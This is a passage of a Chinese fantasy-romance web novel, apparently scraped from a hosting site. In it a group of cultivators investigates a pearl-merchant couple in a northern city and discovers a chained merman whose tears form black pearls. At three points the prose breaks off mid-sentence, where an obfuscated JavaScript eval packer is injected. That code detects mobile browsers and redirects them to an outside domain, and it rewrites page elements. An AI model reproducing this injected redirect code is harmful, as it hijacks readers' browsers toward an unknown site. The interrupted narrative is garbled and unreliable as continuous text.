“麻烦你了。”应若紧张地故作镇定。 “唔,是有些麻烦。”应时活动了下右侧手臂,明知故问道:“昨日是谁搂着我不放?为了不影响你休息,我的手臂都麻了,最后,还只能睡在外间的小榻上。” 应若立刻脑补了一下,脑海中仿佛浮现了昨晚自己的点滴形象,“啊,当然是因为你体温低,我觉得凉爽。可要是这样说,好像哪里有点怪怪的。” “只能无理取闹了,”应若这样想着,语速飞快地道:“发热时的我是昨日的我,不是今日的我。有什么问题,你去问她,别问我,就算问我,我也不知道。” 见应时一副被噎住,无言以对的神情,应若借机快速的说道:“再说以你的灵力,手臂酸麻,不过是小事。我也没什么事了,我们快出去和大家汇合吧。”起身就要往外走。 “能言善辩,等等。”应时一把拉住她的手,为她整理披风,深情的目光萦绕在她的周身,应若顿时手足无措,僵直地站在那里,脸腾的一下红了,刚刚降下的体温又烧了起来。 那羞红的脸颊,颤抖的睫毛,晨曦微露一般的唇,应时看着看着,一时竟情不自禁。 时间仿佛在这一刻静止,周围的世界声音也消失了,只有砰然的心跳,和眼中难以化开的浓情蜜意。 应若的大脑一时一片空白,神游太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518132|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚。 “难道这是凡人的感觉吗?”应若心里暗想,“飘飘欲仙?” 待他们整理好自己的情绪走出门去,前院之中,四人已经到了。见二人携手走出,不禁瞪圆了眼睛,错愕的张大了嘴,面面相觑,又心领神会地点着头。 “应若姐,你,”花染话音未落,“我昨夜发热,现在已经退热了,不用担心。”应若紧忙抢着说道。 “昨夜我去医馆,那里的医者都不多问,就很笃定地说这是泡过汤泉之后发热。”应时巧妙地岔开话头,说起了昨夜的事,引开了大家的注意力,缓解了尴尬,应若心里偷偷地给他点了一个大大的赞。 “冷热交替,最易生病,这是常事。”那医者看起来已过天命之岁,他捋了捋自己不长的胡须,从桌上拿给应时药方。 应时见医馆内似乎有床铺,可供医者或病人住下,楼的南边也有一处汤池,便随口问道:“我看这城中,几乎家家户户都设有汤泉,北渊这么寒冷的地方,是如何打造出汤泉的?” “冷吗?今年比往常可是暖和了不少呢。听说今年,极北之地的冰川好像都有些融化了!” 那医者手中不停,头也不回地道:“至于汤泉。前几年,有家渔民来到我们北渊城,那男子叫余修,他说他家祖传喂养一种鱼,是保平安兴旺之用,但这鱼必须得常年在温水之中才能存活,所以他便开凿了温泉水。不过据说这鱼他宝贝的很,没人见过。后来,人们见这水长时间都保持着温热,舒适异常,便纷纷效仿,逐渐变成了以泡汤泉为习惯。” “竟是这样。”应时附和道,“这家渔民还在城中吗?” “嘿,他现在可是炙手可热的大人物啦,他住在最北端,说是那里清净。”医者转过身来,“别看北渊寒冷,人家能垄断整座城的珍珠。” “采珠?”,“是啊,采珠。不过月余光景,整座城都对珍珠趋之若鹜啊!” 几人完全被引入了另一个话题,听得这一番经历,不由对温泉的来历啧啧称奇。“不过,冰川融化,可不是什么好事。”大家不免有些忧虑。 今天的街上非同寻常的安静,冰雪大部分都已经融化,却无人出门。 “我们出来时,客栈里好像也没有动静,我先去医馆看看。”应时说着,先行一步去了昨日的医馆,却是门窗紧闭,不见人影。 几人只好沿着来时路折返客栈,途中恰巧遇见了昨日的那位医者。应时几步迎上前,还不待他发问,那医者便以衣袖掩住口鼻,语气急切,“保重身体,快回去吧。城中好多人一夜之间都病倒了,这病怕是传播速度极快,修行之人和身体强健之人也不能幸免。我们身为医者,定当尽全力配出药方。” “保重。”拜别之后,几人只得先行回到客栈,暂且按下去余修家中探望的心思。 没过多久,透过紧闭的窗,他们看见,不远处有人家竟挂起了白幡。隐约的哭泣声,像是和凛冽的风一起,穿透了一堵堵高墙,响彻他们的心底。 城中人心惶惶,一时间流言四起,“昨日的极光,是灾厄之光。极光和温泉,便是疾病的源头。” 隔着窗,只见太阳被浓密的阴云遮蔽,只见橙红色的光晕,朦胧飘忽地悬于天边。不能再坐以待毙了,六人施展好防护结界,终是一起推开门,走了出去。外面风很大,足够吹散冰雪,也总会吹散云雾。 正所谓“病树前头万木春”,应若就快痊愈了。何况已至初夏,生机自当蓬勃向上,比春日更盛。 病树前头,万木争春。 30. 珍惜之珠 北渊城最北端,一方宅院沉静坐落着。再向北不远,一眼便可望见幽深的海面。 这里便是余府了。 门扉叩响,余修与妻子施晓迎了出来,家中只有他们二人。应时上前说明来意,“听闻您家中有名贵珍珠,我等只盼重金求得宝珠,以贺父亲寿辰。” 六人在夫妻俩的带领下一路走入库房,从门口到最里面,一排排、一个个摆放整齐的匣子内,珍珠从小到大,每一层颜色各异,层层叠叠地闪烁着润泽夺目的光彩。 “太美了,我能拿起来看看吗?”花染被这琳琅满目的色彩深深地吸引住了。 “当然,请便。”听得此言,花染小心地双手捧起了她一眼看中的桃色珍珠,仔细端详起来。 “喜欢吗?”墨悦走到她旁边,花染却摇了摇头,“只是觉得很美,但我并不想要。” “我可以买给你的。”墨悦看她喜欢,只想把她所喜爱的东西都送给她。 “不了。这样好的珠,得来不易,须得珍惜。自当配予那些德高望重,为民造福之人。我现在虽说是行走江湖,小有所为,但还当不起这样沉重的奖赏。”花染语气轻松率真,“其实,我更喜欢你送我的小物件,你做的都很好。像是竹蜻蜓、小灯笼……” “好,我再做给你就是了。”墨悦眼中笑意满满,“你倒是很会勤俭持家呢!” “别乱说,谁持家了!”花染和墨悦笑着闹在一起。 行走观赏间,应时不经意地问起了这些珍珠的来历。“余兄,北渊城寒冷,您这珍珠是如何采的?想必甚是不易吧?” 余修在一旁笑道:“不过是寒冷罢了,我从小出海捕鱼,已经习惯了。采珠也是一样的道理,只需看准时机捕捞便可。这些珍珠,诸位可有喜欢的?” 应时认真看了一会儿,便指着一颗圆润明亮的金黄色珍珠,“这颗大而圆,帮我装起来吧。” “好。诸位请在前厅稍坐片刻。”于是,施晓便又带他们去了前厅,奉上茶水点心。 一入前厅,便觉无比温暖,倒像是真正的夏日炎炎,与外面,与库房都是截然不同的感觉。 应时以杯盖轻拂过茶水,茶香浓郁醇厚,轻啜一口,回味无穷。他同施晓赞道:“这茶也着实难得,我也想买一些带回家中。不知是否还有?” “自是可以。”施晓笑开,“不过家中不多了。这茶是东隅城的特色,若是喜欢,以后去那边采买就是了。” 几人听得这话,先后抬眼对视,便明了其意。 杜嘉毅接着问起另一事:“听闻您家祖传养鱼,可否告知是何品种?我友人也是世代从商,也想图个吉利和心安。” 施晓装点茶叶的手停顿一瞬,旋即恢复如常,“不过是一种热带鱼,黄金龙鱼。诸位可随我一观。” 清澈见底的汤泉池中,一尾黄金龙鱼在其中游弋着。它的鳞片呈金黄色,在水波粼粼中愈发耀眼。时而盘旋游动,时而悬停静息,神似传说中的神龙。 “果然庄重大气,有王者之风。”墨悦赞叹道。 “今日路上行人甚少,听说是很多百姓突发病状,从前也有过这般吗?”应若一边缓缓沿着汤池行走观赏龙鱼,一边故作随意的问道。 “这样突如其来的病情,也是第一次见呢。”施晓一脸痛惜的回道。 一应物事备好,钱货两讫,“今日多谢,多保重!” 踏出院门,一直未曾言语的枫崖终于按捺不住了,“这就走了?不直接打吗?” 应时看他满脸不解,笑道:“总要先探探虚实,以免伤及无辜,或是打草惊蛇。” 杜嘉毅也是在他身旁耐心地解释道:“跟着我们呢,就要先改一改魔族成日打打杀杀的习惯。打架难免受伤磕碰,伤人伤己,智取才是上策。” “是哦,有道理。”枫崖很轻易的就被说服了。 回到客栈,应时从袖中取出一方折叠的手帕,将其展开,上面是一枚金色的鳞片和一枚黑色的鳞片。 “金色的是龙鱼的鳞片,但黑色的这片看起来更加坚硬,这是什么?”花染心下疑惑。 “在那汤泉边,我用灵力悄悄拾起的。”应时打量着那黑色的鳞片,虽然已经掉落,其中还蕴含着深厚的水系力量。“而且,龙鱼所在的汤泉是淡水,这黑色的鳞片却有海洋的气息。” “水系、海洋、温热。余家必然还养着另一种鱼类生灵。”墨悦总结道,“刻意隐瞒,必有蹊跷。” “我也觉得!”枫崖举手附和道,“那二人看起来也不像是多富有的样子。” “教你一个词,财不外露!”墨悦摇头叹息,不由出言打击他。 “我倒是觉得枫崖说的不错。”应若站在了枫崖这边。 应时也赞同:“他们眉宇间流露着一丝隐隐的惆怅,还颇有些小心翼翼的,像是底气不足一般。” “什么?”墨悦不相信,“不行,我不信,大家都来表个态,赞同我的站我这边,赞同枫崖的在他那边。” 话落的瞬间,几人全部站在了枫崖这边,墨悦身前空空荡荡。 “呀!无人问津哦!”花染忍不住大笑,“你想想,余家地处偏远,家中又只有他们二人,是如何知晓这病情的?什么财不外露,分明是心中有鬼!”花染一出言,墨悦立刻跑到花染身边,和大家站到一起。 “你特地又买了茶叶,又是和章家的茶叶一样吧?”应若想起了之前的异样。 “是啊,又是同样的茶叶。”应时点头郑重道,“不过茶水中无毒,我也没有感知到丝毫的魔气。” “五行灵脉所在之地,我确实都奉命采买并送去过章家的茶叶,但都是交给侍从,最终的去向就不得而知了。”枫崖努力的回想着。 “看来,这茶叶是个重要的牵系之物。”杜嘉毅若有所思。 “傀儡术,以茶叶为媒?”他们同时想到了这一点。 “那接下来我们要做什么?”枫崖迫切的希望能有所行动,尽早解决。 迎着枫崖期盼的目光,应时温和道来:“自然是—再探。”一瞬间,枫崖垂下了头,好似失去了希望。 “不过,我可以先帮你引出魔气,你可以彻底清醒,修习原本的灵力,重新做妖。好在你作为妖的根基尚在,还可以维持人形,你愿意吗?” 应时话音刚落,枫崖陡然抬起头振奋起来,眼中充满着希冀的光芒,又自己重复了一遍:“引出魔气,重新做妖,真的可以吗?” 在应时笃定的目光中,枫崖重重地点了头,命定之事,也许永远无法转圜,但运数可变,他就还有希望。 花染、墨悦和杜嘉毅先前并未听应时说过有引出魔气之法,此时投去了略带疑惑的目光。 但随即,还不待应时说些什么,墨悦倒是自圆其说,想到了合理的原因:“肯定是因为时哥和乾元剑意融合后,灵力更强,便能引出魔气了。” 花染也不由得点头,觉得颇有些道理,拍拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539409|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的肩膀,鼓励道:“这回分析得不错!”墨悦顿时又自信百分百。 见此,应若便也笑着点了头:“是有这个原因,其余的,等晚些时候他自会讲明的。” 屋内,应时与枫崖相对而坐,其余几人围坐在一旁的案几边,观摩如何引出魔气。 只见应时与枫崖双掌相对,蓄力运气,渐渐的,浓黑的魔气自枫崖掌心丝丝缕缕不断地被牵引而出,再收束进入到应时的掌中,就这样持续了许久,枫崖眉头紧皱,冷汗自额角大颗大颗滴落。最终,他仿佛失去了所有力气一般忽地仰靠在床边,慢慢睁开眼,声音沙哑却难掩激动:“太好了,太好了,魔气没有了,我能重获新生,重新做妖了!” 应时也收势睁眼,缓缓道:“慢慢来,你先好好休养。” 杜嘉毅上前为枫崖盖好被子,几乎是下一秒,枫崖便合上眼,沉沉入睡了。 “我们出去说吧。”应若在应时身侧,借着衣袖,扶着他的手臂,让他可以略有依靠。她知道这一番下来,应时消耗极大,但为了不让大家担心,他必然是要强撑着先解释清楚,再去调息的。 隔着一扇门,五人坐在枫崖屋旁的回廊中,四双眼直勾勾地看向应时,期待地等着他的解释。 应时稍稍平复气息之后,轻声道:“魔族之间,是可以互相吸纳和给予魔气的。如你们所见,我能吸收魔气,是因为心脉之中有一丝魔神之力。” “魔神?是传说中的,上古大战时的魔神吗?”墨悦有被吸引到。 “是。” “怎么会呢?和魔神对战的是应龙大人,魔神之力怎么会在时哥你的体内?”这个时候,墨悦倒是很有逻辑,条理清晰了起来。“该不会……不可能吧?”墨悦的目光在应时和应若之间转了又转,想看出些端倪,奈何二人脸上一派平静。 花染好像隐约明白了墨悦的意思,震惊之下又在心中安慰自己,“没什么不可能的,应若姐是树妖大人,应时哥是龙神大人也不稀奇,这样才更般配呢!” 这样想着,花染终于抬头看向应时,问了出来:“我能问,您为何姓应吗?” “这尊称,倒是很少听见呢!”应时语气调侃。“是不是哪次对你应若姐说过您这个字?” 杜嘉毅在一旁看得好笑,他心中也早有猜测,此时不过是再度证实一次。他揽过墨悦肩膀,在他耳边低语道:“应龙,应时,应若,像不像?” “哈哈哈,真好笑!”墨悦笑得有些僵硬。“你们怎么不笑呢?” “自然是因为,这就是事实真相,并不可笑啊!”应若一手托腮,略带俏皮地看着这有趣的场景,“果然还是看别人掉马,或者看别人惊讶比较有趣。” “好一个前世今生啊!”花染突然发出一声感叹。“啊,应龙与树妖大人,受我一拜!” 墨悦当即与花染并肩站在一起,也道:“二位,快灵验一下,保佑我们一切顺利。” “时哥,你现在是人吗?”墨悦还在追问。 “他的意思是,你究竟算是人,还是魔,还是神呢?”花染也在一边叽叽喳喳地补充着。 “你这怎么听着不像好话呢,如今我当然是人,只有灵力。虽说神力也是由灵力修炼而成,但修成神力并不是一朝一夕之事。” “一会儿等枫崖醒来,我要第一个告诉他这个消息,定要让他也来拜一拜你们两位传说中的人物。”墨悦和花染信誓旦旦。 珍惜之珠,珍惜之人。 31. 六月飞雪 入夜静悄悄,余府院外,有人猫着腰。 枫崖虽说刚刚恢复,妖力不足,但还是坚持跟了过来。眼看着墨悦坐在墙头,就要翻墙而入,颇感不适应地压低了声音,“不是说要智取吗?这样偷偷潜入不好吧?” “正所谓先礼后兵,见机行事。现下人家有意隐瞒,我们也没办法以理服人,就只能□□值拉满啦!”墨悦悠闲地坐在墙头,前后晃荡着双腿,很是认真地同枫崖说着。 瞥见枫崖怀疑的眼神,墨悦伸出手来,指向应时和应若,“别这样看我,你的龙神大人和树妖大人也是这样想的。对吧?” 应时和应若并肩而立,在枫崖真挚的视线中点了点头,确实是这个意思。但经过墨悦一说,就好像莫名其妙的变得意味不明。 枫崖揭过这篇,说起另一件一直耿耿于怀的事情,“还有,墨悦!我也念过书,你不用刻意教我四字成语!” “哈哈哈有吗?我下次一定注意,一定注意!”但是嘛,注意到什么程度就不是我能确定的了。墨悦口中保证着,手上蓄力破开结界,人也已经翻进院中了。 前院的烛火已熄灭,余修与施晓已经安寝,只余偏院中的一间屋子,还亮着。 六人矮身潜行至屋外,以灵力悄悄破开又一层结界,听得屋中隐约有哭泣的声音。 “一个人,不,是一个妖。”应时低语。 “好奇怪。”花染探头看了看,没见周围有任何守卫,“直觉告诉我,一定没那么简单。” “没道理他们毫无防备,你先去探探。”应若同应时提议道。 见几人都要站起身来,应若和应时同时连忙拦住他们,让他们低些头。“屋内烛火通明,会被发现的。” “啊!”花染和墨悦不无遗憾,不能一睹为快。 “碧波无定,水过无痕,影随心动,无影。”应时手势变幻间,灵力随心而动,话音落下,地上、门窗上,应时的影子都不复存在了。 “哇!”在压低的惊叹声中,五人背对着窗,坐成一排,等待着应时的消息,谁让他们不会这高深的水系法术呢,应若倒是会,但她没有灵力,也是无可奈何。 挨着窗边的,是一处汤池,占据了大半间屋子。雾气缭绕蒸腾着,模糊之间似有黑影一闪而过,又有什么似珠落玉盘,溅起点点滴滴的水花。 终于,在听得铁链挣动的声响后,应时以灵力凝于双眼,视线终于锁定了他。 那是一个鲛人男子,背对着窗,被困锁在汤池之中。黑色鱼尾,黑色长发。随着他的无声的泪凝结,落下一颗颗黑色的珍珠,大小不一,但无一不是纯净无暇。 应时恍然回忆起,在余家库房中所见的珍珠,没有一颗是黑色的。或许是为了掩人耳目,尽数卖给了别处。不过也不能仅凭这一面,就定了余修二人的罪,待明日来此再探。 回到客栈,听得应时讲清原委后,他们便各自休息去了。 应若却没离开,她跟着应时回到他的房间。应时张了张口,想说他没事,但望着应若明澈的双眸,忽然间也不想说什么了。他们的默契是,不必说,她们都懂。谁都可以独自坚强,但也需要一个可以依靠的肩膀,谁会不希望有人陪伴呢。 应时端坐在床边,平息魔气,应若就隔着一张案几坐在他对面,看着他时而微微蹙眉,时而放松下来。几息过后,应时收手睁眼,却没有继续动作。 应若敏锐地从这瞬息的停顿中觉出了些不同来,于是起身坐到应时身边,轻轻拉了一下他的衣袖。应时只是转动了下眼珠,没有其余的动作。 应若便也没说什么,拿起一方手帕,轻轻为他拭去额上点滴的汗水。 而应时不自觉地挺直了脊背,坐姿愈发的僵硬了,眼神随着应若的动作游走。应若收回手的时候,他终于大口喘息了一下,放松下来。 不待他再平复心情,应若便已经回到对面,眼神平静无波,淡淡地问道:“你是谁?” 对面的应时听见这问话反倒心中安稳许多,再也装不下去了。他眼神清澈,直视应若的眼,认真地回答道:“姐姐,我也不知道,你又是谁?” 这声姐姐叫得应若一愣神,她低下头饶有趣味地笑了,再抬头时眼中笑意未褪,“我叫应若,你叫应时。” “那,我们是姐弟吗?”应时隔了好一会儿才问出这个问题。他绞尽脑汁地回想着世俗常理,他们有相同的姓氏,她还很关心他,没有因为他失忆而怀疑他,这便是兄妹情深了吧? “你觉得是,就是吧。”应若瞬间理解了他的逻辑,很是努力地忍住笑意,没再笑出来。 看着应时低头兀自思索的模样,应若心中并无多少惊讶。魔气在他心中蓄积已久,吸纳大量的魔气后,他能合乾元剑之力,将魔气压在心底,依旧使用灵力,没有反被魔气所控,已经很是不易了。 眼下的情况,便是应时心中觉得还不是入魔的时候,只得自发的分裂出了部分神魂,将其作为魔气的载体。只有这样,才能互不打扰,维系长久的平衡。等到五行灵脉全部恢复,他便不会再压制魔气,就会成魔,再化魔。 “你会法术吗?”应若端详着他紧张的样子,平日里可不曾见过。 “会!”应时眼睛一亮,屏息凝神,手中立刻浮现出一团魔气,再抬眼时,脸上满是骄傲。 这是在,期待夸奖吗? “哦,很厉害!”应若略带夸张地赞道,应时便是真心实意地笑了出来,那低眸一笑里还带着些腼腆。 应若看着他这般好懂的模样,倒也并不是特别担心了,这孩子一样的可爱心性,可要好好记住才行。反正本质上都是应时这个人,偶尔有些反差,也是很新鲜的。 还不过是个懵懂初生的魔,比之她最初做魔的时候,可是相去甚远。看看这凝结出的一小团魔气,可见灵气稀薄也不是没有好处,相对的,魔气也不再那样厉害了。 因果循环,一人做一次魔,也是有趣。 想着想着,应若便释然地笑了,烛光跃动着映在她眼底,那小小的火焰中,还藏着一个他的影子。 应时也凝望着应若温婉的目光,虽不知她在笑什么,但也被这温暖的光影触动,笑了起来。 次日一早,应若迷蒙地缓缓睁开眼,不知何时已在床榻上躺着了,身上也盖着一床厚实的被子。她清楚的记得,她昨夜离开后是等着应时熟睡才又回来的,再然后应该是不知不觉伏在案几上睡着的。 想来,这一切都是应时所为了。应若起身向外走,看着外间的榻上叠放着整齐的被子,便知应时是在这儿睡了一晚。 她正想着,便听见脚步声渐渐地近了。 吱呀一声,门被推开,应时的身影伴着晨光和清风,温润暖融,眉目清俊。应若在心中赞叹一番,欣赏过后也明了,昨夜的小魔已经完完全全回去了。现下的,是正常的灵气版的应时。 应若正犹豫怎样问他是否有昨夜的记忆,应时像是看出了她的所想,反手合上门扉坐下,主动开口说了起来。 “我记得他的所有,但他不记得我。”应时尽量自然地略移开视线,继续说着,“所以,他的想法并不能代表我,他的一些话,你也不用太在意。” 应时不说,她还真的没有在意,但他这么一说,反倒勾起了她的兴趣。 “这样说来,他的想法,你也全都知晓了?” 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几人出发前往余府,才知昨日夜里,花染莫名突然发热起来,墨悦一直在照顾她。好在二人灵力相生,花染已经恢复如常。 余府。 大门轻易地被推开,院中出奇的安静。没有任何一丝风吹草动,无人,亦无妖。 忽然之间,飘起雪来,雪花在空中随风舞动,恣意张扬。空气中似乎流动着阵法运转的痕迹,几人相互会意,便一齐踏入了阵中。 灼热的风迎面而来,炎炎夏日,烈日当空。而他们周遭景象,也不再是北渊城,是一处荒凉的海边。 无人经过,唯有浪潮汹涌,崖壁陡峭,岩石嶙峋。 应时从袖中取出用手帕包裹着的两枚鳞片,朗声道:“我等并无冒犯之意。只因昨日购得的珍珠旁边落了两枚鳞片,念及属于贵府,特意送回交还。” 等了片刻,也无任何回应和变化,他们只得随着深入阵中。 “这里,莫非是南海边吗?”应时五年前游历时到过南郡,自然也还记得这片海。也许那时,便已有恶念潜藏深海了。 “南海,鲛人。这里是鲛人的故乡吧?”应若远望着天边的海水,海中存在着许多生灵,也许这些生灵此时,也正与他们遥遥相望。 从海边穿过树林,又过了很久,才看到几个渔民,在渔船旁整理着今日所得。 “这个阵什么意思,要我们领略南洋的风土人情吗?”花染不解其意。 “或许是回忆吧。”应若眼神示意花染,看向不远处走近渔船的两个身影。 “是余修和施晓!”墨悦也惊讶出声。 “他们看起来很穷困呢。”杜嘉毅和枫崖看着远处,他们好像因为来得晚了些,正被另一个管事的男子责备,头颅低垂,双手合十,连连道歉。 二人奔波的身影,一幕幕出现,夜幕低垂,跟随着他们疲惫的脚步,看到了他们的住所。 “哇—啊—” 那是一间茅草屋,男孩子撕心裂肺的哭声让人心中一惊。余修与施晓忙乱地给孩子吃饭、喂药,施晓疼惜地将脸颊通红的孩子抱在怀中摇晃轻哄。渐渐的,哭声和抽泣声低了下去,许是感到了安全,进入了梦乡。 “不能再这样下去了。我们可以苦,孩子怎么办?” “是啊。听说去深海采珠能比捕鱼赚得多些,明日我去试试。” “那可是深海,太危险了吧?” “没事的你放心,我水性好,不过都是捕捞。为了孩子,为了我们的生活,总得试试!” 崖壁之下,一抹黑色消失在浪花中。 六月飞雪,黑白分明。 32. 何处天光 余修跟着采珠的船出海了,船愈行愈深,深海无尽,四顾无际。 下网采珠的过程很顺利,为首的男子见得满满几大网的珠贝,甚是满意。拍着余修汗湿的肩膀鼓励道:“不错。” 调转船头没多久,原本晴朗明媚的天空忽然间阴云密布,平静的海面也在大风中掀起巨浪。 “哗—哗—”海浪翻涌着、拍打着。 “风暴来了,快收帆!”船上的几人急忙奔走,余修匆忙将捕捞上来的珠贝收进仓内。 霎时间,狂风肆虐,电闪雷鸣落下,人力终是无法抗衡。一截桅杆被劈断,沉落向海面。风雨交加中,几人只得各自用绳索将自己系在稳固的地方,不至于被剧烈摇晃的船甩出去。 余修把自己牢牢地绑在船边,忽的瞥见船侧有一个被撞击形成的口子,雨水和海水都在快速地灌进船舱里。 “船进水了!”余修拼尽全力大喊,然而,他的声音在雷霆之中显得渺小而微不足道,很快便消散在这风暴中。 又一个巨浪将船高高扬起,再沉沉落下,船上其余几人均已被这力道冲昏了过去。余修在这绝望的境地中,恍惚中竟见海浪中似有人影漂浮,他双手合十,紧闭双眼,虔诚祈祷,“海神,救救我们吧!” 过了片刻,余修只觉周遭异常的安静,再度睁眼,船已行至风平浪静的海上。艳阳高照着,仿佛方才惊心动魄的一切都是幻觉,不曾发生过。 余修再低头看着自己的狼狈模样,和其余几人劫后余生的庆幸。 “感谢老天!东西都还在!”余修再探身看向船侧,那里的窟窿已经被堵住了。 这不可思议的经历过后,他由衷地感谢上苍。也许真的是海神,冥冥之中听见了他的呼救,拯救了他们。 海边长大的人大都听过一些传闻,说深海有鲛人,半身人形半身鱼尾,织水成绡,泣而成珠。 从这天开始,余修与施晓家中的供奉之处,余父的牌位旁,多了一尊海神像,而那海神像俨然就是鲛人的模样。 几年过去,采珠的收获让他们一家不至于再过那种饥寒交迫的日子,一切都在慢慢好起来。 然而,人有旦夕祸福。他们的儿子余景跟着其他孩子去海边玩,却再也没有回来。 其他的孩子回来后哭着说,“呜……他被一个大浪卷、卷走了。” 余修与施晓不相信,日日夜夜去海边守着、望着。 “景儿他只是去海里玩儿了,兴许等他玩够了,就回来了。” 直到一天,夫妇俩终是支撑不住了。烈日干涸了他们的泪水,他们的孩子永远的离开了,再也不会回来。 八年了,生活明明已经好起来了,一朝风云变幻,海成了他们的心病。他们变卖了一切,打算远走他乡,离开这片令人伤心的海。 离开前的最后一个晚上,他们去到海边,和他们的孩子告别,和这片故乡告别。 余修手中捧着供奉多年的海神像,海神虽保佑了他的平安,却没能护住他的孩子。他的心中,终究还是意难平。 当余修将海神像抛入大海,浪花溅起。月光下,好像有什么破开层叠的海浪,朝着岸边快速游了过来。 “我名沧漓,乃深海鲛人一族。很抱歉,我没来得及救到他,我找到他了。”说着,他将用绡纱包裹的遗体放置在他们面前。 余修和施晓惊醒般上前,看着沧漓黑色的长发和鱼尾,再落到白色绡纱之上。 “我的景儿。”母子之间的感应让施晓无需再看,就能确认。 二人悲痛难忍,最终将孩子安葬在了海边不远处。 “我们要走了,这些年,也多谢你的照拂。”余修二人对着沧漓一拜到底,便转身便欲离开。 “等等!你们的祭拜和祈祷我都知道,这信仰也给了我力量,我也要感谢你们。这是一颗珍珠,送给你们,愿你们今后一切顺遂。”一枚莹莹圆润的黑色珍珠被珍重地放入余修手中,沧漓目送他们走远,在海边转了一圈,转身返回了海中。 然而这一次的离开,让他体会到了什么是真正的别离,什么是来不及。变故已成定局,深海里,海水浓重的深红还未完全散开,仅存的为数不多的鲛人没等到他们年轻的王归来,各自四散逃走,离开了南海。 当沧漓回到族群附近,只寻到了亲人毫无生气的尸首。他拼命地向深海伸出双臂,却抓不住一个个沉落的生命。 “不!” “父亲!母亲!” 鲛人动听的嗓音变得沙哑泣血,愤恨悲痛的泪凝成血珠,沉重地坠入深海。 鲛人沉眠于海底,又是谁的手笔?海中,有鱼叉,有木头,有人类的血,有族人的血,也有鲸鱼来过的痕迹。 沧漓想去寻找其余族人,可他们已经离的太远,而他灵力有限,也无法得知了。他的族群,他的家,没有了。 没有时间留给悲痛了。他记得余修他们要去的是北方,于是也准备沿着海去北边。 这惨剧的发生,有人的觊觎作祟。 余修和施晓从海边回来时,这些年带着余修一起采珠的男子海横前来送行,在门外等着他们回来。 他无意间看见二人很是小心地拿着什么东西,于是他悄悄在地上扔了几个石块,再做了几个绊子。施晓脚下一没注意便被绊倒了,手中的珍珠滚落在地,余修扶她起身,却见珍珠已被另一只手攥紧。 余修同海横争辩起来,却也不能说出这珍珠的来历。 “我看就是你私藏了珍珠,这可是重罪。余修,你同我去官府说清楚!” “我没有,这是我……捡的!” “口说无凭。再说,现在是我捡到了,那就是我的了。走吧,不送了。” “我们赶紧走吧。一颗珠子,本就不是我们的,他日若还能见到沧漓,再向他致歉吧。”余修与施晓怕他再来找麻烦,连夜匆匆离开了。 哪知这海横也是有些见识的,他看出这珍珠不是寻常可得,去余修家中时也见过他供奉的海神像。他略一思忖,便去联合了出海采珠的所有渔船,带上鱼叉渔网,去深海了,他们最初想的是谋财。 那时恰巧鲛人正和鲸鱼打过一架,已有伤亡,筋疲力尽。大量的渔船鱼叉渔网围拢了这一小片海面,他们倒真的合力抓住了几个鲛人。但这几个鲛人都已是身受重伤,还没等回到岸上,就已经没了气息。 偏偏沧漓回去的途中又被其它的事情耽搁了,等到回到自己家中时,一切已成定数,为时已晚。 待到沧漓通过水中的生灵得知这一切原委,已是一年后。那时他已经游走过许多片海域后,在北渊城和余修夫妇重聚了,重逢的欢喜和时间的流逝仿佛将那些伤痛埋藏在了过去。 沧漓其实是一路追踪着他送出的那颗珍珠,只是没想到最终到了北渊城,竟是在另一名男子—海横手里。原来,海横没有放弃,他坚信鲛人泣珠是真实存在的。所以,他要找到余修,找到鲛人,找到珍珠。 重逢的第二日,沧漓正准备去捉住海横,拿回珍珠,却见北渊城官府来了人。官兵言之凿凿,“有鲛人无故伤人,特此前来捉拿归案。” 一众官兵将院落团团包围,无处可逃。 沧漓以为,到了官府,真相大白后自会放了他,还他清白。所以,他并未反抗。 海横躲在远处,看着沧漓被带走。他把玩着手中的珍珠,心中冷笑,“哼,没有什么比钱财更吸引人。” 狱中,无人在意真相,狱卒只是奉命严刑拷打。 不解之下,痛苦之下,伤口的血肉长出了愈加坚硬的鳞片。不知过了多久,暗无天日的折磨后,余修与施晓前来探望。 他们说,“我们人微言轻,救不了你。官府的目的是珍珠,你就别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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金克木,木克土,土克水,水克火,火克金。枫崖也是木系妖力,正好可以代替应若,立于中央。应时移动至代表火位的南方,他见枫崖支撑得有些艰难,便分出一股水系灵力,用以支撑他生出木系灵力。墨悦立于代表金位的西方,杜嘉毅立于代表木位的东方,花染立于代表水位的北方。 而随着天光的涌动,大阵也在旋转变形,应运而生的是的鼓乐齐鸣,初时远在天边,继而却仿佛响彻耳边,乱人心神。若是寻常人在此,魔音入耳,皆得心神受损。 六人在心中默念清静心经,脚下步法不停,寻找破阵的关键。 “这是五种器乐交错奏响的名曲—高山流水。其中的五音分别对应着五种器乐,我们各自调取相克的音律和器乐,或能克制。”应时自小修习过音律,一听便知其中关窍。应若心思敏捷,立刻报出了他们各自应当抽取的音律。 